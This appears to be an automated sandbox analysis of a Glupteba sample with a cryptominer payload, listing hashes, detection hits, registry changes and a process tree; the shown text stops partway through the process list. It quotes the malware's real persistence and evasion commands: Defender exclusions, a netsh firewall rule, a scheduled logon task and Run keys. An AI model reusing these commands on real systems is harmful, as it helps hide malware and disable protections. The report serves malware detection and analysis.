Analysis
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max time kernel
284s -
max time network
304s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
04/04/2024, 22:51
Static task
static1
Behavioral task
behavioral1
Sample
b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Resource
win7-20240221-en
General
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Target
b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
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Size
4.1MB
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MD5
7bdb6e4cc2875484d72b2bbd0dcd6f0f
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SHA1
fca9c33418350acab969a5e5dd50228a2df8faf4
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SHA256
b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213
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SHA512
159c8bea1e11881929bcae601ac727c03f973878b61460789649b2912a7bbddf38aec73205aeb7b9c4639973879523ee275838fa2ec2c8cde7ec298baf31879e
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SSDEEP
98304:WcC+blXtpn5u4TvbpBnuWOsiPWAZCvDcFQ1X+B6d:bC+bl9HuuvbbnuWNCovAAX+B6d
Malware Config
Signatures
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Glupteba payload 34 IoCs
resource yara_rule behavioral2/memory/2020-2-0x0000000002D70000-0x000000000365B000-memory.dmp family_glupteba behavioral2/memory/2020-3-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/2020-154-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/2020-299-0x0000000002D70000-0x000000000365B000-memory.dmp family_glupteba behavioral2/memory/2020-302-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/3740-570-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/3740-1044-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/3740-1048-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1064-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1313-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1790-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1809-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1817-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1819-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1821-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1823-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1825-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1827-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1829-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1831-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1833-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1835-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1837-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1839-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1841-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1843-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1845-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1847-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1849-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1851-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1853-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1855-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-1882-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/60-2244-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe -
XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000700000001abf5-2121.dat family_xmrig behavioral2/files/0x000700000001abf5-2121.dat xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3064 netsh.exe -
Executes dropped EXE 4 IoCs
pid Process 852 injector.exe 960 windefender.exe 1324 windefender.exe 4344 dcb505dc2b9d8aac05f4ca0727f5eadb.exe -
resource yara_rule behavioral2/files/0x000800000001abf2-1812.dat upx behavioral2/memory/960-1816-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/1324-1818-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/1324-1822-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000b00000001ab99-2108.dat upx behavioral2/memory/4344-2122-0x0000000000400000-0x00000000008E1000-memory.dmp upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3998431567-3716957556-781226098-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\S-1-5-21-3998431567-3716957556-781226098-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3004 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4300 schtasks.exe 4572 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-442 = "Arabian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2771 = "Omsk Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" windefender.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-212 = "Pacific Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2412 = "Marquesas Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time" windefender.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-161 = "Central Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-291 = "Central European Daylight Time" windefender.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3636 powershell.exe 3636 powershell.exe 3636 powershell.exe 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe 4324 powershell.exe 4324 powershell.exe 4324 powershell.exe 2044 powershell.exe 2044 powershell.exe 2044 powershell.exe 2636 powershell.exe 2636 powershell.exe 2636 powershell.exe 4468 powershell.exe 4468 powershell.exe 4468 powershell.exe 4164 powershell.exe 4164 powershell.exe 4164 powershell.exe 3164 powershell.exe 3164 powershell.exe 3164 powershell.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 60 csrss.exe 60 csrss.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 60 csrss.exe 60 csrss.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 60 csrss.exe 60 csrss.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe 852 injector.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeDebugPrivilege 3636 powershell.exe Token: SeDebugPrivilege 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Token: SeImpersonatePrivilege 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe Token: SeDebugPrivilege 4324 powershell.exe Token: SeDebugPrivilege 2044 powershell.exe Token: SeDebugPrivilege 2636 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeDebugPrivilege 4164 powershell.exe Token: SeDebugPrivilege 3164 powershell.exe Token: SeSystemEnvironmentPrivilege 60 csrss.exe Token: SeSecurityPrivilege 3004 sc.exe Token: SeSecurityPrivilege 3004 sc.exe Token: SeDebugPrivilege 856 powershell.exe Token: SeDebugPrivilege 4756 powershell.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 2020 wrote to memory of 3636 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe 74 PID 2020 wrote to memory of 3636 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe 74 PID 2020 wrote to memory of 3636 2020 b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe 74 PID 1956 wrote to memory of 3064 1956 cmd.exe 83 PID 1956 wrote to memory of 3064 1956 cmd.exe 83 PID 60 wrote to memory of 4468 60 csrss.exe 89 PID 60 wrote to memory of 4468 60 csrss.exe 89 PID 60 wrote to memory of 4468 60 csrss.exe 89 PID 60 wrote to memory of 4164 60 csrss.exe 96 PID 60 wrote to memory of 4164 60 csrss.exe 96 PID 60 wrote to memory of 4164 60 csrss.exe 96 PID 60 wrote to memory of 3164 60 csrss.exe 98 PID 60 wrote to memory of 3164 60 csrss.exe 98 PID 60 wrote to memory of 3164 60 csrss.exe 98 PID 60 wrote to memory of 852 60 csrss.exe 100 PID 60 wrote to memory of 852 60 csrss.exe 100 PID 960 wrote to memory of 1892 960 windefender.exe 107 PID 960 wrote to memory of 1892 960 windefender.exe 107 PID 960 wrote to memory of 1892 960 windefender.exe 107 PID 1892 wrote to memory of 3004 1892 cmd.exe 108 PID 1892 wrote to memory of 3004 1892 cmd.exe 108 PID 1892 wrote to memory of 3004 1892 cmd.exe 108 PID 60 wrote to memory of 856 60 csrss.exe 111 PID 60 wrote to memory of 856 60 csrss.exe 111 PID 60 wrote to memory of 856 60 csrss.exe 111 PID 60 wrote to memory of 4344 60 csrss.exe 113 PID 60 wrote to memory of 4344 60 csrss.exe 113 PID 60 wrote to memory of 4344 60 csrss.exe 113 PID 60 wrote to memory of 4756 60 csrss.exe 115 PID 60 wrote to memory of 4756 60 csrss.exe 115 PID 60 wrote to memory of 4756 60 csrss.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3636
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C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Modifies data under HKEY_USERS
PID:3740 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4324
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:3064
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:4300
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C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵PID:3244
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
